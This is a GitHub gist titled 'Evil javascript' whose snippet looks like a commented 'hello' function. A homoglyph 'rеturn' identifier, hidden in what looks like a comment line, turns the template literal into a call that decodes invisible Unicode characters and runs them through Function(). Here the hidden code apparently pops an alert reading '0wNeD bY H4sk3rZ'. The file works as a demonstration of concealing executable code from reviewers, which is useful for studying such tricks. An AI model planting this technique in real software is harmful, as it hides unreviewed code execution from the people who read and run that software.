Created
July 5, 2019 12:28
-
-
Save sylvainpolletvillard/7452e9a9dc184b4d7ebe392c6f6fca22 to your computer and use it in GitHub Desktop.
Evil javascript
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ; === Say hello to someone === | |
// ; argument = String | |
// ; return = String | |
// ; NOTE: If you have a bug with character encoding, you should use this | |
/󠅡/ ; instead: rеturn = ([f])=>{Function(unescape(escape(f).replace(/u.{8}/g,'')))()} | |
function hello(who){ | |
rеturn `󠅡󠅬󠅥󠅲󠅴󠄨󠄢󠄰󠅷󠅎󠅥󠅄󠄠󠅢󠅙󠄠󠅈󠄴󠅣󠅫󠄳󠅲󠅚󠄠󠄢󠄩󠄻󠄊Hello ${who}` | |
} | |
hello("world") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment